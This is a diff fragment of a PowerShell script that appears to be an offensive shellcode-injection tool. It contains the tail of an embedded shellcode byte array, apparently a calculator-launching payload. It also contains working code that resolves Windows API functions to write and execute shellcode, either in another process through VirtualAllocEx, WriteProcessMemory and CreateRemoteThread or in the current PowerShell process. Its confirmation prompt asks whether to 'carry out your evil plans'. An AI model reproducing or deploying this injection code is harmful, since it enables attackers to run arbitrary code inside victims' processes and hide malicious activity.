+                                  0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,

+                                  0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,

+                                  0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,

+                                  0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)

+    }

+

+    if ( $PSBoundParameters['ProcessID'] )

+    {

+        # Inject shellcode into the specified process ID

+        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess

+        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])

+        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)

+        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx

+        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])

+        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)

+        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory

+        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])

+        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)

+        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread

+        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])

+        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)

+        $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle

+        $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])

+        $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)

+    

+        Write-Verbose "Injecting shellcode into PID: $ProcessId"

+        

+        if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',

+                 "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )

+        {

+            Inject-RemoteShellcode $ProcessId

+        }

+    }

+    else

+    {

+        # Inject shellcode into the currently running PowerShell process

+        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc

+        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])

+        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)

+        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree

+        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])

+        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)

+        $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread

+        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])

+        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)

+        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject

+        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])

+        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

+        

+        Write-Verbose "Injecting shellcode into PowerShell"

+        

+        if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',

+                 "Injecting shellcode into the running PowerShell process!" ) )

+        {

+            Inject-LocalShellcode

+        }

+    }   

 }